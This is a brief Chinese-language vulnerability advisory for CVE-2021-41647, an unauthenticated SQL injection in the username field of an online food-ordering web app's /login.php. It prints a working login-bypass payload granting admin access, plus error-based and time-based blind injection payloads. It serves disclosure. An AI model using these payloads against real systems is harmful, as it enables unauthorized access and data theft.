CVE-2021-41647 Online-Food-Ordering-Web-App 中的 SQL 注入漏洞
Online-Food-Ordering-Web-App 存在未经验证的错误型和时间型盲 SQL 注入攻击漏洞。 /login.php 页面上的 username 参数未对用户输入进行清理,攻击者可以使用简单的绕过技术绕过登录。
URL: /login.php
参数: username
要绕过用户登录并获得完全的管理员访问权限,请在 username 输入框中输入以下 payload: user' or 1=1-- -
参数: username (POST 请求)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=test'||(SELECT 0x6d65686d WHERE 8694=8694 AND (SELECT 8639 FROM(SELECT COUNT(*),CONCAT(0x71626a7a71,(SELECT (ELT(8639=8639,1))),0x71766a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&password=asdfasdrf
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=test'||(SELECT 0x6d6d6367 WHERE 7580=7580 AND (SELECT 4416 FROM (SELECT(SLEEP(5)))nUhT))||'&password=asdfasdrf

Jason Colyvas
MOBIUSBINARY
2021年9月20日